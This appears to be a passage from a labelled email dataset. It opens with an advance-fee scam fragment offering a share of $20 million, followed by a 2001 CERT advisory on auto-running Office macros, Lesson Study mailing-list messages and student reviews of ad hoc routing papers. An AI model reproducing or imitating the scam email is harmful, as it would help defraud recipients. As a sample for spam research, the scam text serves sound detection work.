($20m) United States Dollars which is in Europe. Your relative signed vital documents to withhold identity from you until you are able to claim the safe deposit box from the company in London and find out yourself. I seek your consent to present you as beneficiary, so that the proceeds of this account valued at $20 million Dollars can be paid to you and then you and me can share the money. The sharing ratio will be 60% to you and 37% to me for my services, while 3% should be for expenses or tax as your government may require. If you consent to cooperate with me as the beneficiary,We will prepare all necessary documents to back up claims providing proofs. All I require is your honest cooperation to enable us execute this deal with absolute confidentiality from you. We guarantee that this will be done under a legitimate/official arrangement that will protect you now and in future. Please get in touch with me by email to enable us advance further. Best Regards, Dr Sam Peart. email: drpeartsam@aim.com lcvopilionpktylmulehevfuqdvlpsmto ",1,0 CERT Advisory ,cert-advisory@cert.org,"Mon, 08 Oct 2001 15:43:43 -0400",CERT Advisory CA-2001-28," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-28 Automatic Execution of Macros Original release date: October 08, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Systems running: * Windows + Microsoft Excel 2000 + Microsoft Excel 2002 + Microsoft PowerPoint 2000 + Microsoft PowerPoint 2002 * Macintosh + Microsoft Excel 98 + Microsoft Excel 2001 + Microsoft PowerPoint 98 + Microsoft PowerPoint 2001 Overview An intruder can include a specially crafted macro in a Microsoft Excel or PowerPoint document that can avoid detection and run automatically regardless of the security settings specified by the user. I. Description Microsoft Excel and PowerPoint scan documents when they are opened and check for the existence of macros. If the document contains macros, the user running Excel or PowerPoint is alerted and asked if he would like the macros to be run. However, Microsoft Excel and PowerPoint may not detect malformed macros, so a user can unknowingly run macros containing malicious code when opening an Excel or PowerPoint document. An intruder who can entice or deceive a victim into opening a document using a vulnerable version of Excel or PowerPoint could take any action the victim could take, including, but not limited to * reading, deleting, or modifying data, either locally or on open file shares * modifying security settings (including macro virus protection settings) * sending electronic mail * posting data to or retrieving data from web sites For more information, please see http://securityresponse.symantec.com/avcenter/security/Content/ 2001.10.04.html http://www.microsoft.com/technet/treeview/default.asp?url=/tech net/security/bulletin/MS01-050.asp Given the strong potential for widespread abuse of this vulnerability, we strongly recommend that you apply patches as soon as you are able. For example, the Melissa virus which spread in March of 1999 used social engineering to convince victims to execute a macro embedded in a Microsoft Word document. For more information, see the CERT/CC Advisory listed below. http://www.cert.org/advisories/CA-1999-04.html As a general practice, everyone should be aware of the potential damage that Trojan horses and other kinds of malicious code can cause to any platform. For more information, see http://www.cert.org/advisories/CA-1999-02.html This vulnerability has been assigned the identifier CAN-2001-0718 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0718 II. Impact An attacker can execute arbitrary code on the target system with the privileges of the victim running Excel or PowerPoint. III. Solution Apply a patch Appendix A contains information from vendors who have provided information for this advisory. We will update the appendix as we receive more information. If a vendor's name does not appear, then the CERT/CC did not hear from that vendor. Please contact your vendor directly. Until a patch can be applied, and as a general practice, we recommend using caution when opening attachments. However, it is important to note that relying on the ""From"" line in an electronic mail message is not sufficient to authenticate the origin of the document. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Microsoft Corporation See Microsoft Security Bulletin MS01-050 Appendix B. - References 1. http://securityresponse.symantec.com/avcenter/security/Content/200 1.10.04.html 2. http://www.microsoft.com/technet/treeview/default.asp?url=/technet /security/bulletin/MS01-050.asp 3. http://www.kb.cert.org/vuls/id/287067 4. http://www.cert.org/advisories/CA-1999-04.html 5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0718 _________________________________________________________________ _________________________________________________________________ The CERT Coordination Center thanks Peter Ferrie and Symantec Security Response, who discovered this vulnerability and published the information in their advisory. Additionally, we thank Microsoft Corporation, who published an advisory on this issue. _________________________________________________________________ Author: Ian A. Finlay and Shawn V. Hernan. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-28.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. 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As part of the BRAP project, American teachers designed a lesson together, implemented the lesson in their classrooms, videotaped and shared those tapes with the members of the BRAP group, reflected on what they saw individually and collectively, and shared the videotapes and their thoughts through the internet with other teachers and researchers: http://mathforum.org/brap/wrap/ To learn more about the project and its goals, visit BRAP's web site: http://mathforum.org/brap/ To read about some of the similarities between Lesson Study and the BRAP project you can read my BRAP reflections here: http://mathforum.org/brap/wrap/salehi_reflections.html Hope this helps. Roya Salehi roya@mathforum.org > -----Original Message----- > From: Janice Itzel [mailto:jitzel@state.de.us] > Sent: Monday, October 22, 2001 1:55 PM > To: Lesson Study Listserv > Subject: Video > > > Does anyone know if there are any videotapes available that > feature American > teachers engaging in lesson study? I know that many groups > tape their > sessions, but sharing is another matter. Thanks! > > Janice Itzel, Teacher-on-Loan > Lesson Study > Delaware Department of Education > 302-739-4885 ex. 3333 > jitzel@state.de.us > > --- > To unsubscribe send a blank email to > leave-lessonstudy-340215M@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 c.tavoularis@utoronto.ca,COM S 615 ,"Mon, 22 Oct 2001 16:12:19 -0400",615 PAPER 25,"This is an excellent paper that unifies the simulation study of some of the major ad hoc routing protocols. It compares the performance of four ad hoc routing protocols: DSDV, TORA, DSR and AODV. Using a modified ns-2 network simulator, the authors create a simulation environment that supports realistic physical and MAC layers based on IEEE 802.11 standards (including DCF and ARP) while modeling signal attenuation to determine delays between nodes and received power levels. From the received power level, the physical layer decides whether the signal is noise, erroneous, or a successful packet and the MAC layer detects collisions. The authors implemented some general improvements to the protocols: jitter between broadcasts to minimize collisions; priority of routing packets in the transmit queue to reduce route discovery delays; and breakage feedback at MAC layer to reduce packet dropping. Protocol specific improvements include: implementing DSDV-SQ that triggers updates with each new sequence number as opposed to new metric only; aggregating TORA and IMEP messages; using only bi- directional links in DSR to support lower layers; and implementing AODV-LL to replace periodic HELLO messages. The protocols are tested for 210 different scenario files with 50 nodes, and with two different max speeds, 1m/s and 20m/s, over which speed is uniformly distributed. The scenario files vary motion from continuous motion to no motion. Having 70 fixed movement patterns and using 10, 20 or 30 sources provides variation in traffic load. 3 metrics are used: packet delivery ratio over the simulation, routing overhead counting each hop, and path optimality as a difference of the chosen path from the shortest possible path. An additional study is done to include significance of header size in DSR. DSDV-SQ, the only proactive protocol under examination, had very poor packet delivery in high mobility, and exhibited constant overhead regardless of node movement. DSDV-SQ very frequently chose the optimal path. TORA may have delivered packets better than DSDV-SQ, but was still limited due to the occurrence of short-lived routing loops dropping packets, while suffering from very high overhead. TORA actually failed to converge in many high traffic cases due to unmanageable congestion. Also, TORA chose longer than optimal paths as mobility increased. DSR exhibited the best packet delivery ratio and the lowest overhead. AODV-LL also had good packet delivery but with high overhead due to flooding, particularly in high mobility. DSR and AODV-LL take advantage of previous route knowledge to decreases overall overhead and significant improvement can be seen when there are many (30) data sources. DSR effectively exploits caching and eavesdropping as well. After considering the additional header bytes in DSR, it was found that DSR incurs more overhead than AODV-LL in all but very high mobility cases. Further study must be performed, since control information added to existing packets is not as costly as control information being sent out in individual numerous packets. DSR and AODV-LL perform the best and appear to support mobility well. But, I’m curious about the delay incurred by each of the protocols, since a large delay will invalidate other good performance characteristics. Results suggest that DSR would have less delay since it most often chooses the shortest path while AODV-LL does not. Aside from providing significant results, this paper addresses compatibility issues of routing protocols with the physical and link layer, and tests the true functionality of the protocols without making simplifying assumptions. ",0,0 """Brown, Catherine Ann"" ",Lesson Study Listserv ,"Mon, 22 Oct 2001 15:19:34 -0500",Video of debriefing of study lesson," Does anyone know of any tapes of the reflection or debriefing stage of lesson study? I seem to recall such a tape of a Japanese lesson study being shown at NCTM or AERA with Deborah Ball and Hyman Bass discussing it. --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 Paul Williams ,Lesson Study Listserv ,"Mon, 22 Oct 2001 16:52:26 -0400",Re: Video,"jitzel@state.de.us writes: >Does anyone know if there are any videotapes available that feature >American >teachers engaging in lesson study? I know that many groups tape their >sessions, but sharing is another matter. Thanks! The science department at Beachwood High School has a video of their teaching. Please contact Jim Burton, Science Subject Area Coordinator for release and conversation. The high school number 216 831 2080. Paul Williams, Ph.D. Superintendent. > >Janice Itzel, Teacher-on-Loan >Lesson Study >Delaware Department of Education >302-739-4885 ex. 3333 >jitzel@state.de.us > >--- >You are currently subscribed to lessonstudy as: prw@bw.beachwood.k12.oh.us >To unsubscribe send a blank email to >leave-lessonstudy-340215M@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 ming hao ,'Emin Gun Sirer' ,"Mon, 22 Oct 2001 18:42:36 -0400",615 PAPER 26,"Performance Comparison of Two On-Demand Routing Protocols for Ad Hoc Networks Charles E.Perkins,Elizabeth M.Royer,Samir R.Das and Mahesh K.Marina. the main differences of these two algorithms are: 1. DSR can grab more route info for each requet-reply cycle than aodv and rhus tends to have less route discovery. 2. destination replies all the requests from differnet paths for DSR while AODV just replies once. 3.cache pollution is main problem of DSR while the TTL machanism may expire valid routes. 4.AODV propagates errors to all the nodes using the broken links while DSR just backs the packets to the upstream nodes. the authors have done a much more thouroughly study for these two algorithms than previous one. some interesting and important results are summarized here. 1. DSR has less routing overhead than AODV. this mainly come from the optimizations of DSR such as caching, promiscuous propagation and the fact that source node gets all the routes for intermediate nodes in addition to the destination nodes. all these make DSR have less routing overhead. 2. but for MAC overhead, AODV tends has less overhead than DSR because MAC layer deal with RREQ and RREP and REER int the differnt way. broadcast does not involve RTS/CTS. so i think the concept of MAC overhead is one of main contributions of this paper. this metric is more accurate than routing overhead in the term of considering power consumtion and bandwidth effeciency. 3. lack of load balancing can result in the long latency. this is reflected when the network has less mobility and more data sources. both algorithms suffered. 4. the trend is that AODV has smaller latency and much higer packet delivery ratio than DSR in the case of higher mobility and more nodes and sources. this stems from the high possibility of DSR's cache pollution and more collision at MAC layer because of the multiple replies. while onthe other hand in the lower mobility environment, the timer mechanism can cause DSDV expire valid route and link failure caused by congestion can be tolerated by DSR because of its abandunt route infomation and salvaging mechanism in the intermediate nodes. 5. as indicated in the previous paper, the DSR tends to have shorter paths. This fact has two sides effect. in the congestion, DSR tends to make thing worse. so load balancing is necessary in the hot spot scenario. in the summary, i like this paper much better than the previous one because it really covers more scenario so that giving us a more complete results.it also explained the deep reasons which is definitely useful for future algorithm development. further, some new metrics are used which can reflect more practical performance of the routing algorithms. -ming ",0,0 Edward Hua ,egs@CS.Cornell.EDU,"Mon, 22 Oct 2001 22:06:24 -0400",615 Paper #25,"A Performance Comparison of Multi-Hop Wireless Ad Hoc Network Routing Protocols Josh Bgroch, David A. Maltz, David B. Johnson, Yih-Chun Hu, and Jorjeta Jetcheva This paper presents a comprehensive performance analysis for four routing algorithms in an ad hoc network, DSDV, TORA, DSR, and AODV. Of the four, only DSDV is based on proactive routing scheme, whereas the others are all of reactive-routing, which appears to be the general consensus in the ad hoc research community. The authors go to painstaking details to define a high-caliber simulation environment, generated by NS2. Not only is the overall topology that applies to all four algorithms is defined, but according to its unique characteristics, each algorithm is also tailored with parameters to make it more realistic in practice. While running the simulations, the authors have also made modifications to these algorithms and reported improved performance. Three performance metrics are used for the evaluations: 1)packet delivery ratio, 2)routing overhead, and 3)Path optimality The observations drawn from the evaluations are as follows: 1)AODV performs worse than DSR in terms of packet delivery ratio regardless of the nodal mobility. This somewhat in contrast to the results obtained in the paper by Perkins, Royer, and Das, where for high mobility AODV is seen faring better than DSR. 2)For DSR and AODV, packet delivery ratio is independent of the offered traffic load at various mobilities. Also, compared with the above two, TORA, and especially DSDV, are not suitable for ad hoc networks with high mobiliy. 3)Generally, with the exception of DSDV, the routing overhead increases as the number of sources increases, the overhead tends to come down when mobile nodes are less actively moving about in the network. 4)Figure 6 is intended to give a comparision of route optimality of the four routing protocols. However, by looking at the graph, it does now show a consistency in this regard (i.e., which routing protocol consistently yields optimal routes). I think in choosing which routing algorithms to compare with, it is important to distinguish between proactive routing and reactive routing. In this paper, DSDV (proactive routing) is compared against the performance of three reactive routing protocols. This may not be a fair comparison, especially when it comes to measuring the overhead, as proactive routing usually generates more overhead due to its aggressive nature. Also, it seems to be the trend in the ad hoc research community that reactive routing protocols are more favored than their proactive routing counterparts. Also, since TORA is designed to react promptly to the dynamic change of topology in the network, this reaction time ought to be measured as well to see how it fares comparing the other routing algorithms. This measurement will be very important as it may pave way for further research on how to deal with the dynamics of the network topology to better assist in the repair of a broken route or reconstruction of a new one should a need arise. ",0,0 Edward Hua ,egs@CS.Cornell.EDU,"Mon, 22 Oct 2001 22:19:06 -0400",615 Paper # 26,"Performance Comparison of Two On-Demand Routing Protocols for Ad Hoc Networks Charles Perkins, Elizabeth M. Royer, Samir R. Das This paper is intended to evaluate the effectiveness of AODV and DSR, two of the most popular routing algorithms in ad hoc networks. The performance metrics include the packet delivery fraction, average end-to-end delay of data packets, normalized routing load, and normalized MAC load. Although both routing algorithms are based on reactive routing, their designs are sufficiently different, and a simple ""better"" or ""worse"" can in no way provide a authoritative judgement of how these two algorithms compare in performance. Indeed, the authors of this paper, and the end of their evaluation, propose several scenarios in which one may be favored than the other, meritting both algorithms to a variety of ad hoc applications in which they may be more effective. A few observations emerge from the evaluations performed in this paper: 1)AODV has a better packet delivery fraction than DSR when the nodes operate in high mobility, whereas the situation is reversed when the mobility is not so great. 2)In a sparsely populated network (i.e., 50 nodes), AODV outperforms DSR in average delay when the nodes operate in high mobility; DSR does better than AODV in this regard when nodes slow down in the network. In a densely populated network (i.e., 100 nodes), AODV consistently incurs less delay than DSR in a much larger range of nodal mobility. This may be due to the fact that the benefit of DSR's route caching is up to a certain extent, beyond which the high load in the network deems this mechanism to o large to improve the performance. 3)DSR has lower routing overhead than AODV. This is due to the fact that AODV employs many route requests, packet-wise, in querying a route, who outnumber the amount of route replies in DSR, a major contributing source of overhead in the latter. 4)When the MAC layer overhead is factored into calculating the total overhead, DSR is found to have higher overall network load than AODV in all scenarios. One of the contributions in this paper is that it examines the overhead in both the network and MAC layers, thus providing a more accurate perspective of the overhead that results from employing the two algorithms. It highlights the importance of coordinating the work of the routing algorithm with the efficiency of MAC layer in order to minimize the overall network overhead. Another contribution is that it summarizes the strengths and weaknesses of the two algorithms and presents some likely real-life scenarios where each of them may be better suited for deployment. ",0,0 Walter Bell ,egs@CS.Cornell.EDU,"Mon, 22 Oct 2001 22:56:16 -0400",615 PAPER #25,"25) A Performance Comparison of Multi-Hop Wireless Ad Hoc Network Routing Protocols This paper presents a unified simulation study of several ad-hoc routing protocols. They present results for DSDV, TORA, DSR and AODV in a unified simulation environment under ns-2 which attempts to accurately model the 802.11 wireless standard. They implemented the 4 protocols on top of ns-2 with help from the authors, and attempted to be fair between the different implementations of the protocols in their environment by evaluating how the real world parameters would affect the protocol negatively-- such as in AODV presenting an implementation that reduces control overhead by only noticing link breakages from the link layer, and not periodic broadcast messages. They present the simulations of 50 wireless nodes in a rectangular space. This is the second time we've seen a rectangular simulation space; it's rectangular to force longer routes between nodes than would occur normally in a square simulation space. They use the random way point model, which is characterized by each node picking a destination and a speed, and moving towards that destination and pausing for a certain amount of time before repeating.To ensure that the study was comparable between protocols, they generated 70 movement patterns and 4 communication patterns for 210 total scenarios that each routing protocol was tested on. They do not claim that these simulations accurately reflect the real world, mearly that since the protocols are all simulated in the same environment it is fair to make conclusions about their behaviours in these simulations. They present results for goodput, control overhead, and path optmimality for the different communication patterns (which reflect the number of transmission sources.) They have good insightful details, and their work seems to agree with current beliefs on the effectiveness of protocols (for example, DSDV, being a proactive protocol, has many problems stabilizing under periods of high motion, although it has a constant amount of control overhead.) This is definitely a reference paper for any future simulation study comparison. ",0,0 Walter Bell ,egs@CS.Cornell.EDU,"Mon, 22 Oct 2001 22:56:17 -0400",615 PAPER #26,"26) Performance Comparison of Two On-demand Routing Protocols for Ad- hoc Networks This paper presents a detailed simulation study of DSR and AODV while varying the mobility and the number of sources over 50 node and 100 node networks. Their goal is definitely to critique and provide research as to the usability of DSR and AODV in large networks as usable implementations become commonplace. They utilize ns-2 in an 802.11 simulation environment, matching closely to the Broch et al. paper. By targeting just 2 protocols, they present a more exhaustive study of these two, comparing along 3 axes: number of nodes, number of sources, and pause time. Once again, we see that given a detailed study that neither protocol outshines the other in all respects: with high numbers of sources, AODV tends to have lower packet delays, but at higher mobility, DSR has lower packet delays. We see that both protocols have desirable base cases: at low mobility and link failure, we see high throughput, low packet delays and low routing load. As we change these parameters, the two protocols deviate highly-- we see that as the number of sources grows, AODV's routing load highly increases, while DSR's grows slowly, almost always having a lower routing load than AODV because of aggressive caching. They present observations that routing load is related to MAC overhead and can be used as a good measure for predicting application performance. Since AODV's routing load is mostly broadcast messages, it tends to be comparable to DSR's load (although still about 40% higher), which sends many unicast messages, all of which require an RTS/CTS transmission. This MAC interaction is an interesting point which we have not discussed thus far-- integration of the routing protocol with knowledge of the MAC layer can give better performance than our abstract view of the MAC we've assumed this far. This paper presents a well thought out and detailed discussion of the trade-offs between DSR and AODV and presents the idea that future work should be directed towards better use of the MAC layer by routing protocols. ",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 01:39:58 -0400",615 PAPER 25,"multi-hop performance: This paper discusses the relative performance of four multi-hop wireless ad hoc network protocols (DSDV, TORA, DSR, AODV). This is essentially a simulation paper and no new protocols or protocol optimizations are introduced. They do a detailed packet-level simulation of the various protocols and apparently make a good attempt at fixing the problems with the ns-2 simulator and making it produce accurate simulations for wireless networks. They do this by adding MAC and physical-layer models of the IEEE 802.11 standard, as well as an accurate wireless channel model. In general, the authors found that DSR performed better than the other protocols in most of the metrics that this paper examined. The other protocols perform as follows: AODV, DSDV, and then TORA (in order of decreasing performance). This performance (of course) depends on their particular simulation setup and such, but I feel that their simulation approach was rather robust and was realistic for actual ad hoc networks. ",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 03:30:20 -0400",615 PAPER 26,"on-demand routing comparison: This paper discusses the relative performance of two on-demand ad hoc network routing protocols (DSR and AODV). While this paper is primarily a simulation study, it also makes recommendations for improving the performance of the two protocols. Their simulation model appears to be based on the simulation work developed in the previous paper (paper #25), and so uses a robust version of ns-2 to simulate the wireless ad hoc network protocols. In general, they conclude that DSR is better than AODV in less stressful networks, while it is vice versa in stressful networks. DSR, however, normally will generate less routing load than AODV. They also notice that the DSR caching policy will affect protocol performance. They suggest both protocols can be improved by using congestion-related metrics to evaluate routes, rather than shortest path, which is intuitively obvious--but know one is doing to yet. They also suggest removed aged packets from the network to help congestion. Finally they suggest the behavior between the routing and MAC layers may affect performance. ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 09:50:38 -0400",615 PAPER 25,"This paper compares four ad hoc network routing protocols - DSDV, TORA, DSR and AODV. They extended the ns-2 network simulator to model the MAC and physical layer of IEEE 802.11 and wireless transmission channel. And they presented a detailed packet level simulation result for 50 mobile nodes. They performed the simulations with two different node nobilities - a maximum speed of 20 m/s and 1 m/s. The followings are interesting observations. For 20 m/s; 1. DSR and AODV show better performance than TORA and DSDV, especially in higher mobility. 2. DSDV fails to converge at pause times less than 300 seconds. It is mainly because of a stale routing table entry. 3. TORA shows bad performance for 30 sources. It is due to congestion. 4. DSR shows better performance than AODV even in higher mobility. This is contradict with the result of another paper I have reviewed this week. 5. DSR has the least overhead and TORA has the most. AODV and DSDV cross as mobility changes. AODV is better in lower mobility and DSDV in higher. 6. DSR and AODV shows almost same shape of curves, because they both use on-demand and similar mechanisms. 7. The overhead of DSDV does not change with respect to mobility, because it is periodic routing protocol. But the overhead of the others decrease as mobility gets lower. 8. DSR and DSDV find the shortest path effectively. But AODV and TORA have a significant tail up to 4 or more hops longer. For 1 m/s; 1. DSDV converges in this case. 2. TORA shows a strange curve, which is not explained in this paper. 3. DSR and AODV show much lower protocol overhead than DSDV and TORA, due to their on-demand characteristic. Generally, DSR shows best performance and AODV is almost as good as DSR. DSDV and TORA are worse than the above two. However, this paper does not say this fact definitly, because this is just a case study. I think, the fairness is the most important in this kind of study, and in that sense, this paper did good work. They analyzed the protocols very carefully and implemented them in detail, even with help from the designers of each protocol. They also modeled lower layers accurately , which usually has not been done in other papers. The simulation settings and metrics were also well defined. Overally, this paper gives credibility to readers. I think, the simulation size is not so practical - 50 nodes, 1500mX300m space and 900 second simulation time. This might reflect some situations such as wireless notebook networks inside a library. But it is not a suitable model for situations such as battle field and sensor networks. In addition, DSR might have more overhead than the other protocols as the networks scale up. So, we need to be careful in comparing the protocols. This paper is excellent in comparing the protocols. But, it will be good to propose new ideas based on this study. I think there might have been following papers after this. ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 10:04:39 -0400",615 PAPER 26,"This paper compares the performance of two on-demand routing protocols - DSR and AODV. It shows that two protocols have significant performance differentials, and proposes techniques to improve them. Two algorithms have the following common and different characteristics; Common Characteristics: 1. The most important common characteristic of two protocols is that they are both reactive. They initiate routing activities on an on demand basis. 2. The route recoveries are based on query and reply cycles. 3. The routing information is stored in intermediate nodes. Different Characteristics; 1. DSR uses a source routing, but AODV uses a table driven routing. As a result, DSR can access more routing information than AODV. 2. DSR replies to all route discovery requests, so the source can have alternative routes, but AODV replies to only the first one and also keeps only one entry in the routing table. 3. DSR does not use any timer, but AODV uses it. AODV have a mechanism to expire old routing information, but DSR does not have such a mechanism. 4. AODV is more conservative than DSR in route deletion. In AODV, a link failure information is sent to all nodes, but in DSR, only the upsteam nodes of a data packet are notified. They performed the simulations, for two experiment sets - Varying mobility and number of sources and Varying offered load, with four metrics - Packet delivery fraction, Average end-to-end delay of data packets, Normalized routing load and Normalized MAC load. In short, DSR shows better performance in less stressful situations, but AODV gets better as the situations go stressful. DSR always has less protocol overhead than AODV. However there are variations with respect to simulation setting. Based on the simulation results, they proposed techniques for two protocols. For DSR, they proposed a timer scheme to eliminate false routing information. For AODV, they proposed a source routing scheme to reduce the protocol overhead. This paper has done similar simulation study as the other paper I have reviewed. The simulation settings and metrics of this paper is also very well designed as that paper. One good thing of this paper is that it tries to suggest new schemes to improve the protocols based on the simulation result. ",0,0 Joan Easterday ,Lesson Study Listserv ,"Tue, 23 Oct 2001 07:15:16 -0700",Re: High School,"Hello again. We have one high school group going. Last year three were part of K-12 group and this year they've added two teachers and are functioning as a high school group. The teachers teach all grades and all classes. One AP, one CMP, two ninth, one is actually from another high school in the district. The dept. chair is one of those involved and the principal is supportive which also helps. Let me know what specific information you need. jeasterday Joan Easterday Lesson Study Coordinator Sonoma County Office of Education 707.524.2852 jeasterday@scoe.org --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 """Brown, Catherine Ann"" ",Lesson Study Listserv ,"Tue, 23 Oct 2001 09:19:03 -0500",video of debriefing,"I have had great replies to my request! Thanks. I think I can find something now. FYI, the important info seems to be: You can order a tape called ""Can You Lift 100 Kg?"" from Catherine Lewis' web site, http://lessonresearch.net, which contains segments of lesson planning and debriefing. OR The project you refered to is the U.S. Japanese Workshop sponsored by MSEB and the US National Commission on Mathematics Instruction. The proceedings titled Classroom Practice as a Medium for Professional Development which has a video component that includes a classroom demonstration lesson and the debriefing session held afterwards will be available from the National Academy Press shortly after the first of the year. You can get the details from the National Academy of Sciences website. Catherine Brown Associate Professor and Associate Dean for Research and Development 4214 School of Education Indiana University 201 North Rose Ave. Bloomington, IN 47405 --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu",0,1 c.tavoularis@utoronto.ca,COM S 615 ,"Tue, 23 Oct 2001 11:58:56 -0400",615 PAPER 26,"This paper presents a detailed simulation study of two on-demand routing protocols, AODV and DSR, with accurate MAC and physical layer models. These protocols were evaluated in terms of packet delivery fraction, received throughput in kilobits per second, average end-to-end delay, normalized routing load as well as normalized MAC load. Again, ns-2 was used which models 802.11 network characteristics. Many results are presented, but the general trend is that AODV performs better in high traffic and high load (‘stressful’) situations, while DSR outperforms in low traffic and low load (‘less stressful’) situations. More specifically, DSR has significantly worse packet delivery in high load or high mobility situations, although DSR and AODV have comparable packet delivery otherwise. Delay in DSR is also much higher than AODV in high mobility, although it is slightly less in slow-moving environments. This is an interesting result since DSR focuses on routes with least number of hops, while AODV tends to choose the least congested route. We can see from this result that the shortest route does not imply the least delay. DSR always incurs less routing overhead while frequently incurring higher MAC overhead except in low mobility. The reason that DSR performs poorly in high mobility is because it aggressively uses cached information to find new routes when the current route is broken. When topology is changing quickly, the cached route information becomes stale but continues to be used temporarily and even gets propagated to nodes listening in promiscuous mode. An improvement would be to determine an expiry time for cached information. The cached alternate routes improve DSR performance in low mobility situations when the cached routes remain valid for longer. The increased MAC overhead in DSR is due to frequent use of unicast, as opposed to broadcast, which is more costly at the MAC layer due to use of RTS/CTS/Data/ACK exchanges. AODV has more routing overhead because it generates many more RREQs and essentially floods the network when discovering a route. This paper provides useful MAC layer performance analysis, which is often neglected in the study of routing protocols. It is clear that routing protocol performance is highly dependent on its interaction with lower layers, which has not been optimized in on-demand protocols. One critique would be that although AODV delivers more packets than DSR in stressful environments, its packet delivery ratio is by no means considered sufficient performance for proper operation. Also, unicast is more costly than broadcast at the MAC layer, yet more reliable and I’m surprised that it was not more evident in the simulation results (i.e. affects on packet loss and collisions?). ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 12:00:08 -0400",615 PAPER 26," 26) Performance Comparison of two On-Demand Routing Portocols for Ad hoc Networks. This paper compares the performance of two popular on-demand ad hoc routing protocols: DSR and AODV. Even though the two protocols reactively find a route to the destination, they differ in many aspects which makes them perform quite differently in different scenarios. Important differences between the protocols are: 1. DSR is based on source routing and has access to a lot more routing information at each node as compared to AODV which is based on distance vectors. 2. The destination replies to many copies of the same query reaching it along different paths in DSR. In AODV, the destination replies to only the first copy of the query reaching it. Thus, a single route request cycle in DSR generates a lot of information which is cached in all the nodes receiving (or overhearing) the reply packet. 3. DSR does not expire stale routes or prefer fresher routes. Thus the aggressive caching of DSR has the drawback of polluting the caches of other nodes too and may severely affect the performance of TCP. 4. The route error messages have the effect of deleting all the routes containing the failed link in AODV. In DSR, the route error message travels back only along the failed route at hand. The simulation model used consists of 802.11 MAC, radio range of 250m, nominal bit rate of 2 Mbps, a send buffer of 64 packets and 50 (100) nodes in an area of 1500m x 300m (2200m x 600m). The velocity of the nodes is uniformly distributed between 0-20m/s and a random waypoint model is used. The metrics evaluated are: packet delivery fraction, end-to-end delay, routing load and MAC load. In terms of metrics like delay and trroughput, the simulation results show that DSR usually performs better on a lower scale and when the network conditions are not stressful. AODV tends to out-perform DSR in more stressful conditions. DSR almost always has a lower routing load than AODV. But when one looks at the total MAC load, DSR was found to generate higher overall network load than AODV in the high mobility or high traffic scenarios. The increase in the MAC load for DSR is attributed to the fact that DSR retuns many routes to the source which are unicasted back. In low mobility cases, DSR works great but its performance degrades below AODV in high mobility cases mainly due to its aggressive use of route caches where the routes are not timed-out. It would have been interesting to see how these two protocols scale to bigger networks with a few hundred nodes. Also the choice of the elongated rectangluar network area again may not necessarily show the whole picture related to these two protocols. The authors mention a few ideas which may possibly improve the performace of these two protocols. The main among them are: expiring stale routes in DSR, using congestion related metrics, removing aged packets from the netwrok and studying in greater detail the effects of interactions between protocol layers. ",0,0 André Allavena ,egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 12:48:01 +0200",CS615 PAPER 26,"Performance Comparision of AODV and DSR. The settings are a more recent version of AODV compared to the previous paper comparing AODV, TOA, DSR and DSDV. Here the load and the number of nodes is larger. It turns out that DSR perfomrs better in less stresssful situations. (lower overhead, and somehow higher packet delivery). But AODV does better at high rate high number of nodes in the net. The explanation is the agressive use of caching by DSR. It reduces the routing overhead by giving routes really quickly, but those routes are more likely to be stale/outdated in high mobility scenarios. Hence there are useless. But there provide some improvement at low mobility... -- André Allavena (local) 154 A Valentine Place École Centrale Paris (France) Ithaca NY 14850 USA Cornell University (NY) (permanent) 879 Route de Beausoleil PhD in Computer Science 06320 La Turbie FRANCE ",0,0 André Allavena ,egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 12:48:08 +0200",615 PAPER 25," Perf Comparison of MultiHop Wireless Routing Protocol This paper presents a performance comparison of TORA, DSR, DSDV abd AODV. DSDV is implemented in 2 ways (sepending on when the triggered updates are done). The results are that TORA is not 